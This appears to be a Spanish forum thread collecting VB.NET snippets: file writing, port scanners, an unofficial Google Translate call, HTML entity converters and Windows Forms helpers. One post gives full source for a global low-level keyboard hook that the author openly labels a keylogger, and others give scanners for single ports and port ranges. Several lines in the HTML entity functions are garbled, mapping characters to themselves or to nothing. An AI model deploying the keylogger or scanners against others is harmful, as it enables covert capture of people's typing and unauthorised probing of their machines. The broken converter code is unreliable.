Mensajes

Primero unes el array con un join y luego usas el método que has comentado (el que te da errores por no escribir los argumentos), o el método de my.computer:

VB:

Código (vbnet) [Seleccionar] Expandir

My.Computer.FileSystem.WriteAllText("Test.txt", String.Join(vbnewline, MiArray), False)
(Creo que no necesita traducción, añade un ";" al final)

-> VB a C#, para códigos largos: http://converter.telerik.com/

Saludos

[LA PARTE IMPORTANTE DE ESTOS CÓDIGOS LOS HE TOMADO DEL BUENO DE KUBOX]

LA PARTE IMPORTANTE DE ESTOS CÓDIGOS LOS HE TOMADO DEL BUENO DE KUBOX:

Escanear un puerto abierto

Código (vbnet) [Seleccionar] Expandir

#Region " Port Scan "

    ' [ Port Scan Function ]
    '
    ' // By Elektro H@cker
    '
    ' Examples :
    ' MsgBox(Port_Scan("84.126.113.10", 80))
    ' MsgBox(Port_Scan("84.126.113.10", 80, Net.Sockets.ProtocolType.Udp))

    Private Function Port_Scan(ByVal IP As String, ByVal Port As Int32, _
                               Optional ByVal Type As System.Net.Sockets.ProtocolType = Net.Sockets.ProtocolType.Tcp) As Boolean

        Dim Open As Boolean

        Try
            Dim socket As New System.Net.Sockets.Socket(System.Net.Sockets.AddressFamily.InterNetwork, _
                                                        System.Net.Sockets.SocketType.Stream, Type)
            socket.Connect(IP, Port)
            Open = socket.Connected
            socket.Disconnect(False)
            Return Open
        Catch ex As Exception
            MsgBox(ex.Message)
            ' Return False
        End Try

    End Function

#End Region




Escanear un rango de puertos

Código (vbnet) [Seleccionar] Expandir

#Region " Port Range Scan "

    ' [ Port Range Scan Function ]
    '
    ' // By Elektro H@cker
    '
    ' Examples :
    ' For Each Open_Port In Port_Range_Scan("84.126.113.10, 1, 5000) : MsgBox(Open_Port) : Next

    Private Function Port_Range_Scan(ByVal IP As String, ByVal Port_Start As Int32, ByVal Port_End As Int32, _
                                     Optional ByVal Type As System.Net.Sockets.ProtocolType = Net.Sockets.ProtocolType.Tcp _
                                    ) As List(Of String)

        Dim Open_Ports_List As New List(Of String)

        Try
            For Port As Int32 = Port_Start To Port_End
                Dim socket As New System.Net.Sockets.Socket(System.Net.Sockets.AddressFamily.InterNetwork, _
                                                     System.Net.Sockets.SocketType.Stream, Type)
                socket.Connect(IP, Port)
                If socket.Connected Then Open_Ports_List.Add(Port)
                socket.Disconnect(False)
            Next Port
            Return Open_Ports_List
        Catch ex As Exception
            MsgBox(ex.Message)
            Return Nothing
        End Try

    End Function

#End Region

[ublic]

Elektro pone al principio del ultimo snippet ublic, en vez de Public. 

Corregido, gracias.

¿Alguna imperfección más? xD

Salu2!

Un low-level hook para capturar el keyboard fuera del form, es decir, un keylogger.

La idea la tuve de un code que vi de Kub0x

Esta es la parte que me he currado yo:

Código (vbnet) [Seleccionar] Expandir

#Region " KeyLogger "

Public WithEvents KeysHook As New KeyboardHook

Dim Auto_Backspace_Key As Boolean = True
Dim Auto_Enter_Key As Boolean = True
Dim Auto_Tab_Key As Boolean = True
Dim No_F_Keys As Boolean = False

Private Sub KeysHook_KeyDown(ByVal Key As Keys) Handles KeysHook.KeyDown

    Select Case Control.ModifierKeys

        Case 393216 ' Alt-GR + Key

            Select Case Key
                Case Keys.D1 : Key_Listener("|")
                Case Keys.D2 : Key_Listener("@")
                Case Keys.D3 : Key_Listener("#")
                Case Keys.D4 : Key_Listener("~")
                Case Keys.D5 : Key_Listener("€")
                Case Keys.D6 : Key_Listener("¬")
                Case Keys.E : Key_Listener("€")
                Case Keys.Oem1 : Key_Listener("[")
                Case Keys.Oem5 : Key_Listener("\")
                Case Keys.Oem7 : Key_Listener("{")
                Case Keys.Oemplus : Key_Listener("]")
                Case Keys.OemQuestion : Key_Listener("}")
                Case Else : Key_Listener("")
            End Select

        Case 65536 ' LShift/RShift + Key

            Select Case Key
                Case Keys.D0 : Key_Listener("=")
                Case Keys.D1 : Key_Listener("!")
                Case Keys.D2 : Key_Listener("""")
                Case Keys.D3 : Key_Listener("·")
                Case Keys.D4 : Key_Listener("$")
                Case Keys.D5 : Key_Listener("%")
                Case Keys.D6 : Key_Listener("&")
                Case Keys.D7 : Key_Listener("/")
                Case Keys.D8 : Key_Listener("(")
                Case Keys.D9 : Key_Listener(")")
                Case Keys.Oem1 : Key_Listener("^")
                Case Keys.Oem5 : Key_Listener("ª")
                Case Keys.Oem6 : Key_Listener("¿")
                Case Keys.Oem7 : Key_Listener("¨")
                Case Keys.OemBackslash : Key_Listener(">")
                Case Keys.Oemcomma : Key_Listener(";")
                Case Keys.OemMinus : Key_Listener("_")
                Case Keys.OemOpenBrackets : Key_Listener("?")
                Case Keys.OemPeriod : Key_Listener(":")
                Case Keys.Oemplus : Key_Listener("*")
                Case Keys.OemQuestion : Key_Listener("Ç")
                Case Keys.Oemtilde : Key_Listener("Ñ")
                Case Else : Key_Listener("")
            End Select

        Case Else

            If Key.ToString.Length = 1 Then ' Single alpha key

                If Control.IsKeyLocked(Keys.CapsLock) Or Control.ModifierKeys = Keys.Shift Then
                    Key_Listener(Key.ToString.ToUpper)
                Else
                    Key_Listener(Key.ToString.ToLower)
                End If

            Else

                Select Case Key ' Single special key
                    Case Keys.Add : Key_Listener("+")
                    Case Keys.Back : Key_Listener("{BackSpace}")
                    Case Keys.D0 : Key_Listener("0")
                    Case Keys.D1 : Key_Listener("1")
                    Case Keys.D2 : Key_Listener("2")
                    Case Keys.D3 : Key_Listener("3")
                    Case Keys.D4 : Key_Listener("4")
                    Case Keys.D5 : Key_Listener("5")
                    Case Keys.D6 : Key_Listener("6")
                    Case Keys.D7 : Key_Listener("7")
                    Case Keys.D8 : Key_Listener("8")
                    Case Keys.D9 : Key_Listener("9")
                    Case Keys.Decimal : Key_Listener(".")
                    Case Keys.Delete : Key_Listener("{Supr}")
                    Case Keys.Divide : Key_Listener("/")
                    Case Keys.End : Key_Listener("{End}")
                    Case Keys.Enter : Key_Listener("{Enter}")
                    Case Keys.F1 : Key_Listener("{F1}")
                    Case Keys.F10 : Key_Listener("{F10}")
                    Case Keys.F11 : Key_Listener("{F11}")
                    Case Keys.F12 : Key_Listener("{F12}")
                    Case Keys.F2 : Key_Listener("{F2}")
                    Case Keys.F3 : Key_Listener("{F3}")
                    Case Keys.F4 : Key_Listener("{F4}")
                    Case Keys.F5 : Key_Listener("{F5}")
                    Case Keys.F6 : Key_Listener("{F6}")
                    Case Keys.F7 : Key_Listener("{F7}")
                    Case Keys.F8 : Key_Listener("{F8}")
                    Case Keys.F9 : Key_Listener("{F9}")
                    Case Keys.Home : Key_Listener("{Home}")
                    Case Keys.Insert : Key_Listener("{Insert}")
                    Case Keys.Multiply : Key_Listener("*")
                    Case Keys.NumPad0 : Key_Listener("0")
                    Case Keys.NumPad1 : Key_Listener("1")
                    Case Keys.NumPad2 : Key_Listener("2")
                    Case Keys.NumPad3 : Key_Listener("3")
                    Case Keys.NumPad4 : Key_Listener("4")
                    Case Keys.NumPad5 : Key_Listener("5")
                    Case Keys.NumPad6 : Key_Listener("6")
                    Case Keys.NumPad7 : Key_Listener("7")
                    Case Keys.NumPad8 : Key_Listener("8")
                    Case Keys.NumPad9 : Key_Listener("9")
                    Case Keys.Oem1 : Key_Listener("`")
                    Case Keys.Oem5 : Key_Listener("º")
                    Case Keys.Oem6 : Key_Listener("¡")
                    Case Keys.Oem7 : Key_Listener("´")
                    Case Keys.OemBackslash : Key_Listener("<")
                    Case Keys.Oemcomma : Key_Listener(",")
                    Case Keys.OemMinus : Key_Listener(".")
                    Case Keys.OemOpenBrackets : Key_Listener("'")
                    Case Keys.OemPeriod : Key_Listener("-")
                    Case Keys.Oemplus : Key_Listener("+")
                    Case Keys.OemQuestion : Key_Listener("ç")
                    Case Keys.Oemtilde : Key_Listener("ñ")
                    Case Keys.PageDown : Key_Listener("{AvPag}")
                    Case Keys.PageUp : Key_Listener("{RePag}")
                    Case Keys.Space : Key_Listener(" ")
                    Case Keys.Subtract : Key_Listener("-")
                    Case Keys.Tab : Key_Listener("{Tabulation}")
                    Case Else : Key_Listener("")
                End Select

            End If

    End Select

End Sub

Public Sub Key_Listener(ByVal key As String)

    If Auto_Backspace_Key AndAlso key = "{BackSpace}" Then ' Delete character
        RichTextBox1.Text = RichTextBox1.Text.Substring(0, RichTextBox1.Text.Length - 1)
    ElseIf Auto_Enter_Key AndAlso key = "{Enter}" Then ' Insert new line
        RichTextBox1.Text += ControlChars.NewLine
    ElseIf Auto_Tab_Key AndAlso key = "{Tabulation}" Then ' Insert Tabulation
        RichTextBox1.Text += ControlChars.Tab
    ElseIf No_F_Keys AndAlso key.StartsWith("{F") Then ' Ommit F Keys
    Else ' Print the character
        RichTextBox1.Text += key
    End If

End Sub

#End Region

Y esta es la class del Hook:

Código (vbnet) [Seleccionar] Expandir

Imports System.Runtime.InteropServices

Public Class KeyboardHook

   <DllImport("User32.dll", CharSet:=CharSet.Auto, CallingConvention:=CallingConvention.StdCall)> _
   Private Overloads Shared Function SetWindowsHookEx(ByVal idHook As Integer, ByVal HookProc As KBDLLHookProc, ByVal hInstance As IntPtr, ByVal wParam As Integer) As Integer
   End Function

   <DllImport("User32.dll", CharSet:=CharSet.Auto, CallingConvention:=CallingConvention.StdCall)> _
   Private Overloads Shared Function CallNextHookEx(ByVal idHook As Integer, ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As Integer
   End Function

   <DllImport("User32.dll", CharSet:=CharSet.Auto, CallingConvention:=CallingConvention.StdCall)> _
   Private Overloads Shared Function UnhookWindowsHookEx(ByVal idHook As Integer) As Boolean
   End Function

   <StructLayout(LayoutKind.Sequential)> _
   Private Structure KBDLLHOOKSTRUCT
       Public vkCode As UInt32
       Public scanCode As UInt32
       Public flags As KBDLLHOOKSTRUCTFlags
       Public time As UInt32
       Public dwExtraInfo As UIntPtr
   End Structure

   <Flags()> _
   Private Enum KBDLLHOOKSTRUCTFlags As UInt32
       LLKHF_EXTENDED = &H1
       LLKHF_INJECTED = &H10
       LLKHF_ALTDOWN = &H20
       LLKHF_UP = &H80
   End Enum

   Public Shared Event KeyDown(ByVal Key As Keys)
   Public Shared Event KeyUp(ByVal Key As Keys)

   Private Const WH_KEYBOARD_LL As Integer = 13
   Private Const HC_ACTION As Integer = 0
   Private Const WM_KEYDOWN = &H100
   Private Const WM_KEYUP = &H101
   Private Const WM_SYSKEYDOWN = &H104
   Private Const WM_SYSKEYUP = &H105

   Private Delegate Function KBDLLHookProc(ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As Integer

   Private KBDLLHookProcDelegate As KBDLLHookProc = New KBDLLHookProc(AddressOf KeyboardProc)
   Private HHookID As IntPtr = IntPtr.Zero

   Private Function KeyboardProc(ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As Integer
       If (nCode = HC_ACTION) Then
           Dim struct As KBDLLHOOKSTRUCT
           Select Case wParam
               Case WM_KEYDOWN, WM_SYSKEYDOWN
                   RaiseEvent KeyDown(CType(CType(Marshal.PtrToStructure(lParam, struct.GetType()), KBDLLHOOKSTRUCT).vkCode, Keys))
               Case WM_KEYUP, WM_SYSKEYUP
                   RaiseEvent KeyUp(CType(CType(Marshal.PtrToStructure(lParam, struct.GetType()), KBDLLHOOKSTRUCT).vkCode, Keys))
           End Select
       End If
       Return CallNextHookEx(IntPtr.Zero, nCode, wParam, lParam)
   End Function

   Public Sub New()
       HHookID = SetWindowsHookEx(WH_KEYBOARD_LL, KBDLLHookProcDelegate, System.Runtime.InteropServices.Marshal.GetHINSTANCE(System.Reflection.Assembly.GetExecutingAssembly.GetModules()(0)).ToInt32, 0)
       If HHookID = IntPtr.Zero Then
           Throw New Exception("Could not set keyboard hook")
       End If
   End Sub

   Protected Overrides Sub Finalize()
       If Not HHookID = IntPtr.Zero Then
           UnhookWindowsHookEx(HHookID)
       End If
       MyBase.Finalize()
   End Sub

End Class

[Extra:]

Usar Google Translate sin comprar la API de pago xD

Código (vbnet) [Seleccionar] Expandir

#Region " Google Translate "

   ' [ Google Translate Function ]
   '
   ' // By Elektro H@cker
   '
   ' Examples :
   '
   ' MsgBox(Google_Translate("Hello world", GoogleTranslate_Languages.en, GoogleTranslate_Languages.es))   ' Result: Hola mundo
   ' MsgBox(Google_Translate("Hello world", GoogleTranslate_Languages.auto, GoogleTranslate_Languages.fr)) ' Result: Bonjour tout le monde

   Public Enum GoogleTranslate_Languages
       auto ' Detectar idioma
       af ' afrikáans
       ar ' árabe
       az ' azerí
       be ' bielorruso
       bg ' búlgaro
       bn ' bengalí; bangla
       bs ' bosnio
       ca ' catalán
       ceb ' cebuano
       cs ' checo
       cy ' galés
       da ' danés
       de ' alemán
       el ' griego
       en ' inglés
       eo ' esperanto
       es ' español
       et ' estonio
       eu ' euskera
       fa ' persa
       fi ' finlandés
       fr ' francés
       ga ' irlandés
       gl ' gallego
       gu ' gujarati
       hi ' hindi
       hmn ' Hmong
       hr ' croata
       ht ' criollo haitiano
       hu ' húngaro
       hy ' armenio
       id ' indonesio
       it ' italiano
       iw ' hebreo
       ja ' japonés
       jw ' javanés
       ka ' georgiano
       km ' Jemer
       kn ' canarés
       ko ' coreano
       la ' latín
       lo ' lao
       lt ' lituano
       lv ' letón
       mk ' macedonio
       mr ' maratí
       ms ' malayo
       mt ' maltés
       nl ' holandés
       no ' noruego
       pl ' polaco
       pt ' portugués
       ro ' rumano
       ru ' ruso
       sk ' eslovaco
       sl ' esloveno
       sq ' albanés
       sr ' serbio
       sv ' sueco
       sw ' suajili
       ta ' tamil
       te ' telugu
       th ' tailandés
       tl ' tagalo
       tr ' turco
       uk ' ucraniano
       ur ' urdu
       vi ' vietnamita
       yi ' yidis
       zh_CN ' chino
   End Enum

   Public Function Google_Translate(ByVal Input As String, _
                                    ByVal From_Language As GoogleTranslate_Languages, _
                                    ByVal To_Language As GoogleTranslate_Languages) As String

       Dim Formatted_From_Language As String = From_Language.ToString.Replace("_", "-") ' zh_CN > zh-CN
       Dim Formatted_To_Language As String = To_Language.ToString.Replace("_", "-") ' zh_CN > zh-CN

       Dim webClient As New System.Net.WebClient

       Dim str = webClient.DownloadString( _
       "http://translate.google.com/translate_a/t?client=t&text=" & Input & _
       "&sl=" & Formatted_From_Language & _
       "&tl=" & Formatted_To_Language & "")

       Return (str.Substring(4, str.Length - 4).Split(ControlChars.Quote).First)

   End Function

#End Region

Extra:
-> [BATCH] GTC (Google Translate Console)

Un simple método Get:

Código (vbnet) [Seleccionar] Expandir

#Region " Get Method "

    ' [ Get Method Function ]
    '
    ' Examples :
    ' MsgBox(Get_Method("http://translate.google.com/translate_a/t?client=t&text=HelloWorld&sl=en&tl=en")) ' Result: [[["HelloWorld","HelloWorld","",""]],,"en",,,,,,[["en"]],0]

    Public Function Get_Method(ByVal URL As String) As String
        Dim webClient As New System.Net.WebClient
        Return webClient.DownloadString(URL)
    End Function

#End Region




Convierte un string a entidades html:

Código (vbnet) [Seleccionar] Expandir

#Region " String To Html Entities "

    ' [ String To Html Escaped Function ]
    '
    ' // By Elektro H@cker
    '
    ' Examples :
    ' MsgBox(String_To_Html_Entities("www.Goo&gle.com")) ' Result: www.Goo&gle.com
   
    Private Function String_To_Html_Entities(ByVal str As String) As String

        str = str.Replace("&", "&") ' Keep this character to be always the first replaced.
        str = str.Replace(ControlChars.Quote, """)
        str = str.Replace(" ", " ")
        str = str.Replace("<", "&lt;")
        str = str.Replace(">", "&gt;")
        str = str.Replace("¡", "&iexcl;")
        str = str.Replace("¢", "&cent;")
        str = str.Replace("£", "&pound;")
        str = str.Replace("¤", "&curren;")
        str = str.Replace("¥", "&yen;")
        str = str.Replace("¦", "&brvbar;")
        str = str.Replace("§", "&sect;")
        str = str.Replace("¨", "&uml;")
        str = str.Replace("©", "&copy;")
        str = str.Replace("ª", "&ordf;")
        str = str.Replace("¬", "&not;")
        str = str.Replace("®", "&reg;")
        str = str.Replace("¯", "&macr;")
        str = str.Replace("°", "&deg;")
        str = str.Replace("±", "&plusmn;")
        str = str.Replace("²", "&sup2;")
        str = str.Replace("³", "&sup3;")
        str = str.Replace("´", "&acute;")
        str = str.Replace("µ", "&micro;")
        str = str.Replace("¶", "&para;")
        str = str.Replace("·", "&middot;")
        str = str.Replace("¸", "&cedil;")
        str = str.Replace("¹", "&sup1;")
        str = str.Replace("º", "&ordm;")
        str = str.Replace("»", "&raquo;")
        str = str.Replace("¼", "&frac14;")
        str = str.Replace("½", "&frac12;")
        str = str.Replace("¾", "&frac34;")
        str = str.Replace("¿", "&iquest;")
        str = str.Replace("×", "&times;")
        str = str.Replace("ß", "&szlig;")
        str = str.Replace("À", "&Agrave;")
        str = str.Replace("à", "&agrave;")
        str = str.Replace("Á", "&Aacute;")
        str = str.Replace("á", "&aacute;")
        str = str.Replace("", "&Acirc;")
        str = str.Replace("", "&acirc;")
        str = str.Replace("Ã", "&Atilde;")
        str = str.Replace("ã", "&atilde;")
        str = str.Replace("Ä", "&Auml;")
        str = str.Replace("ä", "&auml;")
        str = str.Replace("Å", "&Aring;")
        str = str.Replace("å", "&aring;")
        str = str.Replace("Æ", "&AElig;")
        str = str.Replace("æ", "&aelig;")
        str = str.Replace("ç", "&ccedil;")
        str = str.Replace("Ç", "&Ccedil;")
        str = str.Replace("È", "&Egrave;")
        str = str.Replace("è", "&egrave;")
        str = str.Replace("É", "&Eacute;")
        str = str.Replace("é", "&eacute;")
        str = str.Replace("Ê", "&Ecirc;")
        str = str.Replace("ê", "&ecirc;")
        str = str.Replace("Ë", "&Euml;")
        str = str.Replace("ë", "&euml;")
        str = str.Replace("Ì", "&Igrave;")
        str = str.Replace("ì", "&igrave;")
        str = str.Replace("Í", "&Iacute;")
        str = str.Replace("í", "&iacute;")
        str = str.Replace("Î", "&Icirc;")
        str = str.Replace("î", "&icirc;")
        str = str.Replace("Ï", "&Iuml;")
        str = str.Replace("ï", "&iuml;")
        str = str.Replace("Ð", "&ETH;")
        str = str.Replace("ð", "&eth;")
        str = str.Replace("ñ", "&ntilde;")
        str = str.Replace("Ñ", "&Ntilde;")
        str = str.Replace("Ò", "&Ograve;")
        str = str.Replace("ò", "&ograve;")
        str = str.Replace("Ó", "&Oacute;")
        str = str.Replace("ó", "&oacute;")
        str = str.Replace("Ô", "&Ocirc;")
        str = str.Replace("ô", "&ocirc;")
        str = str.Replace("Õ", "&Otilde;")
        str = str.Replace("õ", "&otilde;")
        str = str.Replace("Ö", "&Ouml;")
        str = str.Replace("ö", "&ouml;")
        str = str.Replace("÷", "&divide;")
        str = str.Replace("Ø", "&Oslash;")
        str = str.Replace("ø", "&oslash;")
        str = str.Replace("Ù", "&Ugrave;")
        str = str.Replace("ù", "&ugrave;")
        str = str.Replace("Ú", "&Uacute;")
        str = str.Replace("ú", "&uacute;")
        str = str.Replace("Û", "&Ucirc;")
        str = str.Replace("û", "&ucirc;")
        str = str.Replace("Ü", "&Uuml;")
        str = str.Replace("ü", "&uuml;")
        str = str.Replace("Ý", "&Yacute;")
        str = str.Replace("ý", "&yacute;")
        str = str.Replace("Þ", "&THORN;")
        str = str.Replace("þ", "&thorn;")
        str = str.Replace("€", "&euro;")

        Return str

    End Function

#End Region





Convierte un string a entidades html codificadas:

Código (vbnet) [Seleccionar] Expandir

#Region " String To Html Escaped Entities "

    ' [ String To Html Escaped Entities Function ]
    '
    ' // By Elektro H@cker
    '
    ' Examples :
    ' MsgBox(String_To_Html_Escaped_Entities("Me@Gmail.com")) ' Result: Me@Gmail.com

    Public Function String_To_Html_Escaped_Entities(str As String) As String
        Dim sb As New System.Text.StringBuilder(str.Length * 6)
        For Each c As Char In str : sb.Append("&#").Append(CType(AscW(c), UShort)).Append(";"c) : Next
        Return sb.ToString()
    End Function

#End Region




Decodifica un string que contenga entidades HTML

Código (vbnet) [Seleccionar] Expandir

#Region " Html Entities To String "

    ' [ Html Entities To String Function ]
    '
    ' // By Elektro H@cker
    '
    ' Examples :
    ' MsgBox(Html_Entities_To_String("www.Goo&gle.com")) ' Result: Goo&gle.com
   
    Private Function Html_Entities_To_String(ByVal str As String) As String

        str = str.Replace(""", ControlChars.Quote)
        str = str.Replace("&", "&")
        str = str.Replace(" ", "")
        str = str.Replace("&lt;", "<")
        str = str.Replace("&gt;", ">")
        str = str.Replace("&iexcl;", "¡")
        str = str.Replace("&cent;", "¢")
        str = str.Replace("&pound;", "£")
        str = str.Replace("&curren;", "¤")
        str = str.Replace("&yen;", "¥")
        str = str.Replace("&brvbar;", "¦")
        str = str.Replace("&sect;", "§")
        str = str.Replace("&uml;", "¨")
        str = str.Replace("&copy;", "©")
        str = str.Replace("&ordf;", "ª")
        str = str.Replace("&not;", "¬")
        str = str.Replace("&reg;", "®")
        str = str.Replace("&macr;", "¯")
        str = str.Replace("&deg;", "°")
        str = str.Replace("&plusmn;", "±")
        str = str.Replace("&sup2;", "²")
        str = str.Replace("&sup3;", "³")
        str = str.Replace("&acute;", "´")
        str = str.Replace("&micro;", "µ")
        str = str.Replace("&para;", "¶")
        str = str.Replace("&middot;", "·")
        str = str.Replace("&cedil;", "¸")
        str = str.Replace("&sup1;", "¹")
        str = str.Replace("&ordm;", "º")
        str = str.Replace("&raquo;", "»")
        str = str.Replace("&frac14;", "¼")
        str = str.Replace("&frac12;", "½")
        str = str.Replace("&frac34;", "¾")
        str = str.Replace("&iquest;", "¿")
        str = str.Replace("&times;", "×")
        str = str.Replace("&szlig;", "ß")
        str = str.Replace("&Agrave;", "À")
        str = str.Replace("&agrave;", "à")
        str = str.Replace("&Aacute;", "Á")
        str = str.Replace("&aacute;", "á")
        str = str.Replace("&Acirc;", "")
        str = str.Replace("&acirc;", "")
        str = str.Replace("&Atilde;", "Ã")
        str = str.Replace("&atilde;", "ã")
        str = str.Replace("&Auml;", "Ä")
        str = str.Replace("&auml;", "ä")
        str = str.Replace("&Aring;", "Å")
        str = str.Replace("&aring;", "å")
        str = str.Replace("&AElig;", "Æ")
        str = str.Replace("&aelig;", "æ")
        str = str.Replace("&ccedil;", "ç")
        str = str.Replace("&Ccedil;", "Ç")
        str = str.Replace("&Egrave;", "È")
        str = str.Replace("&egrave;", "è")
        str = str.Replace("&Eacute;", "É")
        str = str.Replace("&eacute;", "é")
        str = str.Replace("&Ecirc;", "Ê")
        str = str.Replace("&ecirc;", "ê")
        str = str.Replace("&Euml;", "Ë")
        str = str.Replace("&euml;", "ë")
        str = str.Replace("&Igrave;", "Ì")
        str = str.Replace("&igrave;", "ì")
        str = str.Replace("&Iacute;", "Í")
        str = str.Replace("&iacute;", "í")
        str = str.Replace("&Icirc;", "Î")
        str = str.Replace("&icirc;", "î")
        str = str.Replace("&Iuml;", "Ï")
        str = str.Replace("&iuml;", "ï")
        str = str.Replace("&ETH;", "Ð")
        str = str.Replace("&eth;", "ð")
        str = str.Replace("&ntilde;", "ñ")
        str = str.Replace("&Ntilde;", "Ñ")
        str = str.Replace("&Ograve;", "Ò")
        str = str.Replace("&ograve;", "ò")
        str = str.Replace("&Oacute;", "Ó")
        str = str.Replace("&oacute;", "ó")
        str = str.Replace("&Ocirc;", "Ô")
        str = str.Replace("&ocirc;", "ô")
        str = str.Replace("&Otilde;", "Õ")
        str = str.Replace("&otilde;", "õ")
        str = str.Replace("&Ouml;", "Ö")
        str = str.Replace("&ouml;", "ö")
        str = str.Replace("&divide;", "÷")
        str = str.Replace("&Oslash;", "Ø")
        str = str.Replace("&oslash;", "ø")
        str = str.Replace("&Ugrave;", "Ù")
        str = str.Replace("&ugrave;", "ù")
        str = str.Replace("&Uacute;", "Ú")
        str = str.Replace("&uacute;", "ú")
        str = str.Replace("&Ucirc;", "Û")
        str = str.Replace("&ucirc;", "û")
        str = str.Replace("&Uuml;", "Ü")
        str = str.Replace("&uuml;", "ü")
        str = str.Replace("&Yacute;", "Ý")
        str = str.Replace("&yacute;", "ý")
        str = str.Replace("&THORN;", "Þ")
        str = str.Replace("&thorn;", "þ")
        str = str.Replace("&euro;", "€")

        Return str

    End Function

#End Region





Decodifica un string codificado en HTML Escaped Entities

Código (vbnet) [Seleccionar] Expandir

#Region " Html Escaped Entities To String "

    ' [ Html Escaped Entities To String Function ]
    '
    ' // By Elektro H@cker
    '
    ' Examples :
    ' MsgBox(Html_Escaped_Entities_To_String("Me@Gmail.com")) ' Result: Me@Gmail.com

   Public Function Html_Escaped_Entities_To_String(str As String) As String
        Dim sb As New System.Text.StringBuilder(str.Length)
        str = str.Replace("&#", "")
        Try : For Each entity In str.Split(";") : sb.Append(Chr(entity)) : Next : Catch : End Try
        Return sb.ToString()
    End Function

#End Region




Comprueba si un numero es multiplo de otro

Código (vbnet) [Seleccionar] Expandir

    #Region " Number Is Multiple? "
     
       ' [ Number Is Multiple? Function ]
       '
       ' // By Elektro H@cker
       '
       ' Examples :
       ' MsgBox(Number_Is_Multiple(30, 3)) ' Result: True
       ' MsgBox(Number_Is_Multiple(50, 3)) ' Result: False

    Function Number_Is_Multiple(ByVal Number As Int64, ByVal Multiple As Int64) As Boolean
        Return (Number Mod Multiple = 0)
    End Function
     
    #End Region



Comprueba si un numero es divisible por otro

Código (vbnet) [Seleccionar] Expandir


    #Region " Number Is Divisible? "
     
       ' [ Number Is Divisible? Function ]
       '
       ' // By Elektro H@cker
       '
       ' Examples :
       ' MsgBox(Number_Is_Divisible(30, 3)) ' Result: True
       ' MsgBox(Number_Is_Divisible(50, 3)) ' Result: False

    Function Number_Is_Divisible(ByVal Number As Int64, ByVal Divisible As Int64) As Boolean
        Return (Number Mod Divisible = 0)
    End Function

     
    #End Region

offline u online?

...GoogleTranslate es sencillo.

Saludos!

1. Crea una variable numérica de tipo Long que contiendrá ms (por poner un ejemplo)

Código [Seleccionar] Expandir

Dim ms as int64 = 0

2. En el select case del ejemplo aumentas o disminuyes el valor de la variable como quieras, cada "case" es para cada uno de los items.

Código [Seleccionar] Expandir

Case 0 : ms +=5
Case 1 : ms +=10
Case 2 : ms +=15
Esa es la parte donde más cuidado has de tener.

3. Por último modificas el intervalo del timer por los ms que contiene la variable que contiene la variable que hemos creado.

Código [Seleccionar] Expandir

timer1.interval = ms

slaudos!

Pues yo no lo entiendo, porque lo que defines como propiedades no son propiedades, la pregunta es bastante confusa,
de todas formas te hice un ejemplo:

Básicamente debes comprobar el índice del item que está seleccionado en el listbox, hay un evento que maneja eso, y ahí ya haces lo que desees...

Código (vbnet) [Seleccionar] Expandir

Public Class Form1

   Dim Items() As String = {"Time 1", "Time 2", "Time 3"}
   Dim WithEvents ListaTime1 As New ListBox, ListaTime2 As New ListBox

   Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
       For Each item In Items : ListaTime1.Items.Add(item) : ListaTime2.Items.Add(item) : Next
       Me.Controls.Add(ListaTime1) : Me.Controls.Add(ListaTime2)
       ListaTime1.Dock = DockStyle.Left : ListaTime2.Dock = DockStyle.Right
        Me.Size = New Point(280, 100)
   End Sub

   Private Sub Listas_SelectedIndexChanged(sender As Object, e As EventArgs) Handles _
                                                                             ListaTime1.SelectedIndexChanged, _
                                                                             ListaTime2.SelectedIndexChanged
       Select Case sender.SelectedIndex
           Case 0 : MsgBox(sender.SelectedItem)
           Case 1 : MsgBox(sender.SelectedItem)
           Case 2 : MsgBox(sender.SelectedItem)
           Case Else
       End Select

   End Sub

End Class

Salu2

Ahora que leo ese último comentario, se me olvidó pasarte el form del video xD:

Añade en el form:
1 un panel y métele pictureboxes
1 botón para scrollear hacia arriba
1 botón apra scrollear hacia abajo

Código (vbnet) [Seleccionar] Expandir

Public Class Form1

    Dim Scroll_Position As Int32 = 0
    Dim Button_Down_Is_Pressed As Boolean = False
    Dim Button_Up_Is_Pressed As Boolean = False
    Dim WithEvents Progressive_Scroll_Timer As New Timer
    Dim SmallChange As Int32 = 5
    Dim Largechange As Int32 = 10

    ' Sub which reduces the Flickering, but this sub makes x20 times slower any operation of any Form/Application.
    Protected Overrides ReadOnly Property CreateParams() As CreateParams
        Get
            Dim cp As CreateParams = MyBase.CreateParams
            cp.ExStyle = cp.ExStyle Or &H2000000
            Return cp
        End Get
    End Property 'CreateParams

    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
        Me.ResumeLayout(False)
        Panel1.ResumeLayout(False)

        Panel1.VerticalScroll.Maximum = 999999999
        Progressive_Scroll_Timer.Interval = 50
        Panel1.BackColor = Color.FromArgb(150, 0, 0, 0)
    End Sub

    Private Sub Panel_MouseHover(sender As Object, e As EventArgs) Handles Panel1.MouseHover
        sender.focus()
    End Sub

    Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Progressive_Scroll_Timer.Tick
        If Button_Down_Is_Pressed Then
            Scroll_Down(SmallChange)
        ElseIf Button_Up_Is_Pressed Then
            Scroll_Up(SmallChange)
        Else
            sender.stop()
        End If
    End Sub

    Private Sub Scroll_Up(ByVal Change As Int32)
        Scroll_Position -= Change
        Try : Panel1.VerticalScroll.Value = Scroll_Position : Catch : Scroll_Position += Change : End Try
    End Sub

    Private Sub Scroll_Down(ByVal Change As Int32)
        Scroll_Position += Change
        Try : Panel1.VerticalScroll.Value = Scroll_Position : Catch : Scroll_Position -= Change : End Try
    End Sub

    Private Sub Button_Down_MouseDown(sender As Object, e As MouseEventArgs) Handles Button2.MouseDown
        If e.Button = Windows.Forms.MouseButtons.Left Then
            Button_Down_Is_Pressed = True
            Progressive_Scroll_Timer.Start()
        End If
    End Sub

    Private Sub Button_Up_MouseDown(sender As Object, e As MouseEventArgs) Handles Button1.MouseDown
        If e.Button = Windows.Forms.MouseButtons.Left Then
            Button_Up_Is_Pressed = True
            Progressive_Scroll_Timer.Start()
        End If
    End Sub

    Private Sub Button_Down_MouseUp(sender As Object, e As MouseEventArgs) Handles Button2.MouseUp
        Button_Down_Is_Pressed = False
    End Sub

